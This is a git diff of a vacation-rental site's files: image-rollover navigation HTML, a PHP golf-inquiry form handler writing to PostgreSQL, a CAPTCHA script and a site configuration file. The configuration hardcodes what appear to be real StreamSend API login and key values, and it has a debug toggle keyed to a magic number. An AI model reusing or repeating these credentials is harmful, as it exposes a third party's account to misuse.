+                       <IMG NAME="oct09_28" SRC="http://www.pineconevacations.com/images/oct09_28.gif" WIDTH=1 HEIGHT=125 ALT=""></TD>
+               <TD COLSPAN=9>
+                       <a ONMOUSEOVER="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24-oct09_How-To-Get-H.gif', 'oct09_27', 
+'http://www.pineconevacations.com/images/oct09_27-oct09_How-To-Get-H.gif', 'oct09_28', 'http://www.pineconevacations.com/images/oct09_28-oct09_How-To-Get-H.gif', 
+'oct09_How_To_Get_Here_copy', 'http://www.pineconevacations.com/images/oct09_How-To-Get-Here-copy-.gif'); return true;" ONMOUSEOUT="changeImages('oct09_24', 
+'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_27', 'http://www.pineconevacations.com/images/oct09_27.gif', 'oct09_28', 
+'http://www.pineconevacations.com/images/oct09_28.gif', 'oct09_How_To_Get_Here_copy', 'http://www.pineconevacations.com/images/oct09_How-To-Get-Here-copy.gif'); return true;" href="http://www.pineconevacations.com/directions.htm">
+                               <IMG NAME="oct09_How_To_Get_Here_copy" SRC="http://www.pineconevacations.com/images/oct09_How-To-Get-Here-copy.gif" WIDTH=101 HEIGHT=14 BORDER=0 
+ALT=""></a></TD>
+               <TD COLSPAN=4 ROWSPAN=6>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_30.gif" WIDTH=42 HEIGHT=75 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=9>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_31.gif" WIDTH=101 HEIGHT=12 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=6>
+                       <IMG NAME="oct09_32" SRC="http://www.pineconevacations.com/images/oct09_32.gif" WIDTH=1 HEIGHT=75 ALT=""></TD>
+               <TD COLSPAN=8>
+                       <a ONMOUSEOVER="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24-oct09_Map-Of-The-A.gif', 'oct09_28', 
+'http://www.pineconevacations.com/images/oct09_28-oct09_Map-Of-The-A.gif', 'oct09_32', 'http://www.pineconevacations.com/images/oct09_32-oct09_Map-Of-The-A.gif'); return true;" 
+ONMOUSEOUT="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_28', 'http://www.pineconevacations.com/images/oct09_28.gif', 'oct09_32', 
+'http://www.pineconevacations.com/images/oct09_32.gif'); return true;" href="http://www.pineconevacations.com/map.htm">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_Map-Of-The-Area-copy.gif" WIDTH=100 HEIGHT=14 BORDER=0 ALT=""></a></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=8>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_34.gif" WIDTH=100 HEIGHT=10 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=3>
+                       <a ONMOUSEOVER="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24-oct09_Contact-Us-c.gif', 'oct09_28', 
+'http://www.pineconevacations.com/images/oct09_28-oct09_Contact-Us-c.gif', 'oct09_32', 'http://www.pineconevacations.com/images/oct09_32-oct09_Contact-Us-c.gif'); return true;" 
+ONMOUSEOUT="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_28', 'http://www.pineconevacations.com/images/oct09_28.gif', 'oct09_32', 
+'http://www.pineconevacations.com/images/oct09_32.gif'); return true;" href="http://contact.pineconevacations.com/">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_Contact-Us-copy.gif" WIDTH=65 HEIGHT=12 BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=5 ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_36.gif" WIDTH=35 HEIGHT=25 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=3>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_37.gif" WIDTH=65 HEIGHT=13 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=10>
+                       <a ONMOUSEOVER="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24-oct09_Real-Estate-.gif', 'oct09_28', 
+'http://www.pineconevacations.com/images/oct09_28-oct09_Real-Estate-.gif', 'oct09_32', 'http://www.pineconevacations.com/images/oct09_32-oct09_Real-Estate-.gif'); return true;" 
+ONMOUSEOUT="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_28', 'http://www.pineconevacations.com/images/oct09_28.gif', 'oct09_32', 
+'http://www.pineconevacations.com/images/oct09_32.gif'); return true;" href="http://www.pineconevacations.com/realestate.htm">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_Real-Estate-For-Sale-.gif" WIDTH=115 HEIGHT=13 BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=2 ROWSPAN=4>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_39.gif" WIDTH=27 HEIGHT=50 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=10>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_40.gif" WIDTH=115 HEIGHT=13 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=3>
+                       <a ONMOUSEOVER="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24-oct09_Home-Page-co.gif', 'oct09_28', 
+'http://www.pineconevacations.com/images/oct09_28-oct09_Home-Page-co.gif', 'oct09_Home_Page_copy', 'http://www.pineconevacations.com/images/oct09_Home-Page-copy-over.gif'); 
+return true;" ONMOUSEOUT="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_28', 'http://www.pineconevacations.com/images/oct09_28.gif', 
+'oct09_Home_Page_copy', 'http://www.pineconevacations.com/images/oct09_Home-Page-copy.gif'); return true;" href="http://www.pineconevacations.com/index.html">
+                               <IMG NAME="oct09_Home_Page_copy" SRC="http://www.pineconevacations.com/images/oct09_Home-Page-copy.gif" WIDTH=65 HEIGHT=13 BORDER=0 
+ALT=""></a></TD>
+               <TD COLSPAN=8 ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_42.gif" WIDTH=51 HEIGHT=24 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=3>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_43.gif" WIDTH=65 HEIGHT=11 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=26 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=63 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=23 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=9 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=11 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=4 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=20 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=7 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=10 HEIGHT=1 ALT=""></TD>
+       </TR>
+</TABLE>
+
diff --git a/process_form.php b/process_form.php
new file mode 100755 (executable)
index 0000000..2b81a6a
--- /dev/null
@@ -0,0 +1,191 @@
+<?php
+require_once 'setup.phtml';
+// sanitize the user data
+//echo '<pre>'.print_r($_POST, true).'</pre>';
+foreach ($_POST as $key => &$val) {
+    if ($key == "emailaddress") {
+        $email = filter_var($val, FILTER_SANITIZE_EMAIL);
+        if(filter_var($email, FILTER_VALIDATE_EMAIL)) {
+            $_POST[$key] = $email;
+        } else {
+            $_POST[$key] = null;
+        }
+    } else if (!is_array($val)) {
+        $_POST[$key] = filter_var($val, FILTER_SANITIZE_STRING);
+    } else {
+        foreach ($val as $k => &$v) {
+            $_POST[$key][$k] = filter_var($v, FILTER_SANITIZE_STRING);
+        }
+    }
+}
+//echo '<pre>'.print_r($_POST, true).'</pre>';
+//exit;
+try {
+    $dsn = 'pgsql:' . CONN_STR;
+    $driverOptions = array(
+        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
+    );
+    $dbh = new PDO($dsn, null, null, $driverOptions);
+    $dbh->setAttribute(PDO::ATTR_ERRMODE,
+        PDO::ERRMODE_EXCEPTION);
+    $dbh->query("SET DATESTYLE TO 'SQL,US'");
+} catch (PDOException $e) {
+    die($e->getMessage());
+}
+$update = false;
+$sql = "
+INSERT INTO contact
+(create_date,fname,lname,phone,email,
+arrive1,depart1,
+numberofgolfers,
+days_playing_golf,
+additionalinformation,
+contactby,letstalkgolf
+)
+VALUES
+(current_date,:fname,:lname,:phone,:email,
+:arrive1,:depart1,
+:numberofgolfers,
+:days_playing_golf,
+:additionalinformation,
+:contactby,'t'
+)
+RETURNING id";
+$insert = $dbh->prepare($sql);
+$sql = "
+INSERT INTO contact_course 
+(contact_id,course_id) 
+VALUES 
+(:contact_id,:course_id)";
+$insertCourses = $dbh->prepare($sql);
+$sql = "
+SELECT name
+  FROM courses
+ WHERE id = :id";
+$getCourseName = $dbh->prepare($sql);
+$sql = "
+UPDATE contact
+   SET fname = :fname,
+       lname = :lname,
+       phone = :phone,
+       arrive1 = :arrive1,
+       depart1 = :depart1,
+       numberofgolfers = :numberofgolfers,
+       days_playing_golf = :days_playing_golf,
+       additionalinformation = :additionalinformation,
+       contactby = :contactby,
+       letstalkgolf = 't'
+ WHERE id = :id
+       ";
+$update1 = $dbh->prepare($sql);
+if ($_POST['emailaddress']) {
+    $sql = "
+    SELECT id
+      FROM contact
+     WHERE email = :email";
+    $check = $dbh->prepare($sql);
+    $check->bindParam(":email", $_POST['emailaddress'], PDO::PARAM_STR);
+    $check->execute();
+    $id = $check->fetchColumn();
+    if (ctype_digit($id)) {
+        $update = $id;
+    }
+}
+list($fname, $lname) = explode(" ", $_POST['name']);
+$phone  = ($_POST['areacode']) ? '(' . $_POST['areacode'] . ') ': '';
+$phone .= $_POST['phonenumber'];
+//  Send data off to StreamSend
+$values = array(
+    'fname' => $fname,
+    'lname' => $lname,
+    'phone' => $phone,
+    'email' => $_POST['emailaddress'],
+);
+if (   defined('STREAMSEND_FORMS_API')
+    && STREAMSEND_FORMS_API
+) {
+    // Insert the record into the streamsend server
+    include 'StreamSend.php';
+    $streamSend = new Toolkit_Contacts_StreamSend();
+    $streamSend->addContact($values);
+}
+if ($update) {
+    $update1->bindParam(":fname", $fname, PDO::PARAM_STR);
+    $update1->bindParam(":lname", $lname, PDO::PARAM_STR);
+    $update1->bindParam(":phone", $phone, PDO::PARAM_STR);
+    $update1->bindParam(":arrive1", $_POST['arrive1'], PDO::PARAM_STR);
+    $update1->bindParam(":depart1", $_POST['depart1'], PDO::PARAM_STR);
+    $update1->bindParam(":numberofgolfers", $_POST['numberofgolfers'], PDO::PARAM_STR);
+    $update1->bindParam(":days_playing_golf", $_POST['days_playing_golf'], PDO::PARAM_STR);
+    $update1->bindParam(":additionalinformation", $_POST['additionalinformation'], PDO::PARAM_STR);
+    $update1->bindParam(":contactby", $_POST['contactby'], PDO::PARAM_STR);
+    $update1->bindParam(":id", $update, PDO::PARAM_INT);
+    $update1->execute();
+    $thisUpdate = $dbh->prepare("DELETE FROM contact_course WHERE contact_id = :contact_id");
+    $thisUpdate->bindParam(":contact_id", $update, PDO::PARAM_INT);
+    $thisUpdate->execute();
+} else {
+    $insert->bindParam(":fname", $fname, PDO::PARAM_STR);
+    $insert->bindParam(":lname", $lname, PDO::PARAM_STR);
+    $insert->bindParam(":phone", $phone, PDO::PARAM_STR);
+    $insert->bindParam(":email", $_POST['emailaddress'], PDO::PARAM_STR);
+    $insert->bindParam(":arrive1", $_POST['arrive1'], PDO::PARAM_STR);
+    $insert->bindParam(":depart1", $_POST['depart1'], PDO::PARAM_STR);
+    $insert->bindParam(":numberofgolfers", $_POST['numberofgolfers'], PDO::PARAM_STR);
+    $insert->bindParam(":days_playing_golf", $_POST['days_playing_golf'], PDO::PARAM_STR);
+    $insert->bindParam(":additionalinformation", $_POST['additionalinformation'], PDO::PARAM_STR);
+    $insert->bindParam(":contactby", $_POST['contactby'], PDO::PARAM_STR);
+    $insert->execute();
+    $id = $insert->fetchColumn();
+    if (ctype_digit($id)) {
+        $update = $id;
+    }
+}
+$courses = array();
+if (ctype_digit($update) && is_array($_POST['courses'])) {
+    foreach ($_POST['courses'] as $course_id) {
+        $insertCourses->bindParam(":contact_id", $update, PDO::PARAM_INT);
+        $insertCourses->bindParam(":course_id", $course_id, PDO::PARAM_INT);
+        $insertCourses->execute();
+        $getCourseName->bindParam(":id", $course_id, PDO::PARAM_INT);
+        $getCourseName->execute();
+        $courses[] = $getCourseName->fetchColumn();
+    }
+}
+$_POST['courses'] = $courses;
+$fields = array(
+    'arrive1' => 'Check-In',
+    'depart1' => 'Check-Out',
+    'numberofgolfers' => 'Number Of Golfers',
+    'days_playing_golf' => 'Days Playing Golf',
+    'courses' => 'Courses',
+    'name' => 'Name',
+    'areacode' => 'Area Code',
+    'phonenumber' => 'Phone Number',
+    'emailaddress' => 'Email Address',
+    'contactby' => 'Contact Me By',
+    'additionalinformation' => 'Additional Information',
+);
+unset(
+    $_POST['Command'], 
+    $_POST['understandingstatment']
+);
+// email the 
+//echo '<pre>'.print_r($_POST, true).'</pre>';
+$body = '<b>Let\'s Talk Golf</b>
+<table>';
+foreach ($_POST as $key => $val) {
+    $data = (is_array($val)) ? implode(", ", $val): $val; 
+    $body .= '<tr>
+        <td><b>'.$fields[$key].'</b>:</td>
+        <td>'.$data.'</td>
+        </tr>';
+}
+$body .= '</table>';
+//echo $body;
+$headers = "From: rentals@pineconevacations.com\n";
+$headers .= "MIME-Version: 1.0\n"
+         .  "Content-type: text/html; charset=".$charset;
+if (GOLF_FORM_EMAIL) {
+    mail(GOLF_FORM_EMAIL, "Let's Talk Golf Form", $body, $headers);
+}
diff --git a/qfcaptcha.php b/qfcaptcha.php
new file mode 100755 (executable)
index 0000000..b916c29
--- /dev/null
@@ -0,0 +1,39 @@
+<?php
+/**
+ * HTML_QuickForm_CAPTCHA example - Image generator
+ *
+ * PHP versions 4 and 5
+ *
+ * @category   HTML
+ * @package    HTML_QuickForm_CAPTCHA
+ * @subpackage Examples
+ * @author     Philippe Jausions <Philippe.Jausions@11abacus.com>
+ * @copyright  2006-2008 by Philippe Jausions / 11abacus
+ * @license    http://www.opensource.org/licenses/bsd-license.php New BSD
+ * @version    CVS: $Id: qfcaptcha.php,v 1.1 2010/12/08 21:28:18 matrix Exp $
+ * @filesource
+ * @link       http://pear.php.net/package/HTML_QuickForm_CAPTCHA
+ * @see        qfcaptcha_form_image.php
+ * @see        qfcaptcha_form_random.php
+ */
+
+// Require the class before opening the session
+// so the instance unserialize properly
+require_once 'setup.phtml';
+require_once 'Text/CAPTCHA.php';
+require_once 'Text/CAPTCHA/Driver/Image.php';
+
+HTTP_Session2::useCookies(false);
+HTTP_Session2::start();
+
+header('Content-Type: image/jpeg');
+
+$sessionVar = (empty($_REQUEST['var']))
+              ? '_HTML_QuickForm_CAPTCHA'
+              : $_REQUEST['var'];
+
+// Force a new CAPTCHA for each one displayed
+$_SESSION[$sessionVar]->setPhrase();
+
+echo $_SESSION[$sessionVar]->getCAPTCHAAsJPEG();
+?>
diff --git a/setup.phtml b/setup.phtml
new file mode 100755 (executable)
index 0000000..ff078a2
--- /dev/null
@@ -0,0 +1,1937 @@
+<?php
+//ini_set('include_path', '/usr/share/pear' . ':' .ini_get('include_path'));
+/** @header Gaslight Media Toolbox�
+  Media Toolbox(R)
+  Setup.phtml file includes the functions that were in the functions.inc
+  and siteinfo.inc file into one file.
+  All set up stuff is on the top of the page.
+
+  $Id: setup.phtml,v 1.5 2013/02/28 20:20:44 jmeek Exp $
+ */
+
+if( !isset($SITEINFO) )
+       {
+
+               if(!isset($DEBUG))      
+               {
+                       $DEBUG = (isset($mysecretcode) && $mysecretcode == 1234);
+               }
+               // setup for pages
+               define("HOME_ID",1); // change this if home page is other than id = 1
+               $PAGES['default'] = 'index';
+               $PAGES[1] = 'index';
+               /* DEBUG ON BY DEFAULT SO YOU KNOW WHAT THE SETUPS ARE */
+               //$DEBUG = TRUE;
+
+               /*
+                *
+                *      Customer Setup 
+                *      Database setup 
+                *      Email Setup 
+                *
+                */
+               define("SITENAME","Pine Cone Vacations");       // used for outputing name of site in admin area
+               define("SITE_NAME",SITENAME);   // same as SITENAME
+               define("DB_TYPE", "postgres");  // DB library only knows postgres (FUTURE EXPANSION)
+               define("DB_ERROR_MSG", "an error has occured with the database!");      // default error message
+               define("MULTIPLE_CAT",0);               // weather or not to use many to many relations
+               define("CAT_LOCK",0);                   // If set to 1 or true will lock the categories 
+               define("ENTRIES_PER_PAGE",10);  // default per page number
+               define("HTML_HELP_CODE",1);     // this is being depreciated for general help guides
+               define("PRODUCTION_MODE","ON"); // used in the email out for contact DB
+               define("HTML_EMAIL","ON");      // turn ON for html emails
+               define("ACTIVE_FLAG",1);                // turn on if bus_category table has active bool field 
+               define("DELUXE_TOOLBOX",0);             // used for the toolbox deluxe vrs.
+               define("SEO_URL",1);                    // weather to use Search Engine Optimisezd url's requires .htaccess enabled
+               define("HTMLAREA_TABLES",0);    // weather to load the table plugin or not
+               define("HTMLAREA_CONTEXT_MENU",1);      // weather to load the context menu plugin or not
+               define("HOME_PAGE_EVENTS",0);
+               /**
+         *     DO NOT EDIT THIS SECTION
+         */
+        // Find where this file is located
+        $BASE_PATH   = dirname( __FILE__ );
+        $php_version = phpversion();
+        // If php5 or above
+
+        //echo '<pre>'.print_r($GLOBALS, true).'</pre>';
+        if (version_compare($php_version, '5.0.0', '>')) {
+            $CALLED_FROM_DIR = substr(dirname($_SERVER['SCRIPT_FILENAME']), strlen($BASE_PATH));
+            define('GLM_HOST_ID', $_ENV['GLM_HOST_ID']);
+            define('PHP5', true);
+        } else {
+            $CALLED_FROM_DIR = substr(dirname($HTTP_SERVER_VARS['PATH_TRANSLATED']), strlen($BASE_PATH));
+            define('GLM_HOST_ID', $_SERVER['GLM_HOST_ID']);
+            define('PHP5', false);
+        }
+
+        if (($x = strlen($CALLED_FROM_DIR)) > 0) {
+            $base_url = $_SERVER['HTTP_HOST'] . substr(dirname($_SERVER['SCRIPT_NAME']), 0, -strlen($CALLED_FROM_DIR));
+        } else {
+            $script_name_dir = dirname($_SERVER['SCRIPT_NAME']);
+            if ($script_name_dir == '/') {
+                $script_name_dir = '';
+            }
+            $base_url = $_SERVER['HTTP_HOST'] . $script_name_dir;
+        }
+        $BASE_URL = "http://$base_url";
+        // Indicate that this file has been referenced
+        $SITEINFO = true;
+        /**
+          * Login Id for StreamSend account
+          */
+        define ('STREAMSEND_LOGIN_ID', 'yCsUzkXBiMNE');
+        /**
+          * key for StreamSend account
+          */
+        define ('STREAMSEND_KEY', 'dZMqkKmGxuahmr2a');
+        /**
+          * StreamSend Account Name
+          */
+        define ('STREAMSEND_ACCOUNT_NAME', 'Pinecone Accommodations');
+        /**
+          * StreamSend Audience Number
+          */
+        define ('STREAMSEND_AUDIENCE', '1');
+               /*
+                *
+                *      Dynamic Configuration - Parameters that DO change based on location
+                *
+                */
+               switch($_ENV['GLM_HOST_ID'])
+               {
+
+            case 'DEVELOPMENT':
+            case 'STEVE':
+                   define('GLM_APP_BASE', '/var/www/server/app.gaslightmedia.com/');
+                   define('GLM_APP_BASE_URL', 'http://app.gaslightmedia.com/');
+                   define('GLM_APP_BASE_SECURE_URL', 'https://app.gaslightmedia.com/');
+                               ini_set("display_errors","1");
+                       error_reporting(E_ALL ^ E_NOTICE);
+                /**
+                  * For our forms using Toolkit_Contacts_ContactUs as base
+                  * The form will send it's data to StreamSend
+                  * The defines for StreamSend must be set for client
+                  */
+                define('STREAMSEND_FORMS_API', false);
+                               // Use the $BASE_URL for secure URL on Devsys
+                               $BASE_SECURE_URL = $BASE_URL;   
+                               define("CONN_STR","host=devsys2 user=postgres dbname=pineconevacations");
+                               define("OWNER_EMAIL", "steve@localhost");               // site owner's email address
+                               define("FROM_NEWS_EMAIL", "steve@localhost");           // site owner's email address
+                               define("GOLF_FORM_EMAIL", "steve@localhost");
+                               define("REPLY_TO", "info@gaslightmedia.com");                   // the reply-to field for email's
+                       break;
+
+            case 'PRODUCTION':
+                   define('GLM_APP_BASE', '/var/www/server/app.gaslightmedia.com/');
+                   define('GLM_APP_BASE_URL', 'http://app.gaslightmedia.com/');
+                   define('GLM_APP_BASE_SECURE_URL', 'https://app.gaslightmedia.com/');
+                               error_reporting(0);
+                               ini_set("display_errors","0");
+                /**
+                  * For our forms using Toolkit_Contacts_ContactUs as base
+                  * The form will send it's data to StreamSend
+                  * The defines for StreamSend must be set for client
+                  */
+                define('STREAMSEND_FORMS_API', true);
+                               $BASE_SECURE_URL = "https://".$base_url;
+                               // for some sites it is necesary to change base_url when in secure mode
+                               if( $_SERVER['HTTPS'] == "on" )
+                               {
+                                       define("BASE_SECURE_URL", $BASE_SECURE_URL."/");         // url used for the secur site
+                                       $BASE_URL = "http://".$base_url;                                         // This needs to be set to the real url ie. http://www.upnorth.net
+                               }
+                               define("CONN_STR","host=ds4 user=nobody dbname=pineconevacations");
+                               define("OWNER_EMAIL", "rentals@pineconevacations.com");          // site owner's email address
+                               define("FROM_NEWS_EMAIL", "rentals@pineconevacations.com");             // site owner's email address
+                               define("GOLF_FORM_EMAIL", "rentals@pineconevacations.com");
+                               define("REPLY_TO", "rentals@pineconevacations.com");                     // the reply-to field for email's
+                       break;
+
+                       default:        // There should be no need for any settings here
+               $error = 'Your request could not be completed at this time, please try again later!';
+               die("<p>$error</p>");
+                       break;
+
+               }
+               define("BASE_URL", $BASE_URL."/");                                      // url used for the root of site
+               define("URL_BASE", $BASE_URL."/");                                      // same as BASE_URL
+               define("BASE_PATH", $BASE_PATH."/");                            // root directory path of site
+               define("BASE", $BASE_PATH."/");                                         // same as BASE_PATH
+               define("HELP_BASE", "help/");                                           // help guide base (depreciated)
+               define("UP_BASE", BASE."uploads/");                                     // uploads directory path
+               define("IMG_BASE", URL_BASE."images/");                         // the images url path
+               define("POSTCARD_URL",URL."postcard.phtml");            // postcard url (used for postcard app)
+               define("LOGO_IMG",URL_BASE."images/logoicon.gif");      // used in admin area as the path to image logo
+               define("HELP_IMG",URL_BASE."images/help.gif");          // help image url (depriated)
+               define("ORIGINAL_PATH", BASE."images/original/");       // path of original images
+               define("RESIZED_PATH", BASE."images/resized/");         // path of first resized image
+               define("MIDSIZED_PATH", BASE."images/midsized/");       // path of half sized of resized 
+               define("THUMB_PATH", BASE."images/thumb/");                     // path of thumbnail directory
+               if( $_SERVER['HTTPS'] == "on" )
+               {
+                       define("ORIGINAL", $BASE_SECURE_URL."/images/original/");       // url of original images
+                       define("RESIZED", $BASE_SECURE_URL."/images/resized/");         // url of resized 
+                       define("MIDSIZED", $BASE_SECURE_URL."/images/midsized/");       // url of midsized
+                       define("THUMB", $BASE_SECURE_URL."/images/thumb/");                     // url of thumbnail
+               }
+               else
+               {
+                       define("ORIGINAL", URL_BASE."images/original/");        // url of original images
+                       define("RESIZED", URL_BASE."images/resized/");          // url of resized 
+                       define("MIDSIZED", URL_BASE."images/midsized/");        // url of midsized
+                       define("THUMB", URL_BASE."images/thumb/");                      // url of thumbnail
+               }
+               
+$path = preg_split('(\/|:|\.)', get_include_path());
+if (!in_array(GLM_APP_BASE . 'glmPEAR', $path)) {
+    set_include_path(
+               GLM_APP_BASE . 'glmPEAR' .  PATH_SEPARATOR . get_include_path()
+       );
+}
+
+$secureUrl = $isSecurePage ? BASE_SECURE_URL : BASE_URL;
+
+$forceCompile = (DEVELOPMENT || $isSecurePage);
+
+$flexyOptions    = array(
+    'templateDir'  => BASE . 'templates',
+    'compileDir'   => BASE . 'templates/compiled',
+    'forceCompile' => 'true',
+    'url_rewrite'  => "baseurl/::".BASE_URL.",basesecureurl/::$secureUrl,glmappbaseurl/::" . GLM_APP_BASE_URL,
+    'allowPHP'     => true,
+);
+
+//     {{{ autoloader
+//  nullify any existing autoloads
+spl_autoload_register(null, false);
+//  specify extensions that may be loaded
+spl_autoload_extensions();
+
+//  {{{ classLoader()
+
+/**
+ * spl autoloader callback function
+ *
+ * @param string $className Name of the class to autoload
+ *
+ * @return false on error
+ */
+function classLoader($className)
+{
+    switch ($className) {
+       case 'GLM_DB' :
+               require_once BASE . 'classes/class_db.inc';
+               break;
+
+       case 'GLM_TOOLBOX' :
+               require_once BASE . 'classes/class_toolbox.inc';
+               break;
+
+       case 'GLM_TEMPLATE' :
+               require_once BASE . 'classes/class_template.inc';
+               break;
+
+       case 'GLM_EVENTS' :
+               require_once BASE . 'classes/class_events.inc';
+               break;
+
+       case 'guide' :
+               require_once BASE . 'classes/class_visitor_guide_form.inc';
+               break;
+
+       case 'event_form' :
+               require_once BASE . 'classes/class_event_form.inc';
+               break;
+
+       case 'html_quickform_rule_phone' :
+       case 'html_quickform_rule_email' :
+       case 'html_quickform_rule_zip' :
+       case 'html_quickform_rule_state' :
+       case 'html_quickform_rule_banwords' :
+       case 'html_quickform_rule_date' :
+       case 'html_quickform_rule_image' :
+       case 'html_quickform_rule_image2' :
+       case 'html_quickform_rule_memberimage' :
+       case 'html_quickform_rule_memberpackage' :
+       case 'html_quickform_rule_memberlogo' :
+       case 'html_quickform_rule_memberfile' :
+       case 'html_quickform_rule_amenity' :
+       case 'html_quickform_rule_banner' :
+               $path = explode('_', $className);
+               $className = ucfirst(end($path));
+               require_once GLM_APP_BASE . "glmPEAR/HTML/QuickForm/Rule/$className.php";
+               break;
+
+       default :
+               //  Since our old naming conventions conflict w/ the pear
+               //  naming conventions.
+               //  Check to see what we're trying to call by checking if the
+               //  file/class exits in the PEAR sturcture.
+               $class = implode('/', explode('_', $className));
+               if (file_exists(GLM_APP_BASE . "glmPEAR/$class.php")) {
+                       require_once GLM_APP_BASE . "glmPEAR/$class.php";
+               } elseif (file_exists(GLM_APP_BASE . "glmZend/1.10.2/library/$class.php")) {
+                       require_once GLM_APP_BASE . "glmZend/1.10.2/library/$class.php";
+               } elseif (file_exists(GLM_APP_BASE . "geocode/$class.php")) {
+                       require_once GLM_APP_BASE . "geocode/$class.php";
+               } elseif (file_exists(GLM_APP_BASE . "$class.php")) {
+                       require_once GLM_APP_BASE . "$class.php";
+               } elseif (file_exists(BASE . "$class.php")) {
+                       require_once BASE . "$class.php";
+               } elseif (file_exists(BASE . "classes/$className.php")) {
+                       require_once BASE . "classes/$className.php";
+               } else {
+                       //  Add check to search our entire search path for
+                       //  the desired class.
+                       //  fixes phpunit dying for missing classes.
+                       $includePath = get_include_path();
+                       if (strpos($includePath, PATH_SEPARATOR) !== false) {
+                               if (   ($i = explode(PATH_SEPARATOR, $includePath))
+                                       && count($i) > 0
+                               ) {
+                                       foreach ($i as $j) {
+                                               if (file_exists("{$j}/{$class}.php")) {
+                                                       require_once "{$j}/{$class}.php";
+                                               }
+                                       }
+                               }
+                       }
+
+                       return false;
+               }
+               break;
+    }
+}
+
+//  }}}
+
+//  register the loader functions
+spl_autoload_register('classLoader');
+
+//     }}}
+               /** these are the image sizing defines USE THESE ONLY 
+                 only allowed string of 'WxH[<>]' [-quality Percentage]
+                */
+               define("ITEM_RESIZED", "'287>'");               // used in convert call to resize images
+               define("ITEM_MIDSIZED", "'210>'");              
+               define("ITEM_THUMB","'120>'");
+
+               define("FOOTER_IMG", URL_BASE."images/logosmall.gif");
+               define("FOOTER_URL", URL_BASE);
+               define("STYLE","main.css");
+
+               /**
+                These are defines for the photo gallery images
+                */
+               define('PHOTO_LARGE_SIZE',"'550>'");
+               define('PHOTO_LARGE_DIR',BASE.'images/photo-large/');
+               define('PHOTO_LARGE_URL',BASE_URL.'images/photo-large/');
+
+               define('PHOTO_SMALL_SIZE',"'120>'");
+               define('PHOTO_SMALL_DIR',BASE.'images/photo-small/');
+               define('PHOTO_SMALL_URL',BASE_URL.'images/photo-small/');
+               // [status_US] array of states and their abbr.
+               $states_US[""] = "- Choose State -";
+               $states_US["AL"]= "Alabama";
+               $states_US["AK"]= "Alaska";
+               $states_US["AZ"]= "Arizona";
+               $states_US["AR"]= "Arkansas";
+               $states_US["CA"]= "California";
+               $states_US["CO"]= "Colorado";
+               $states_US["CT"]= "Connecticut";
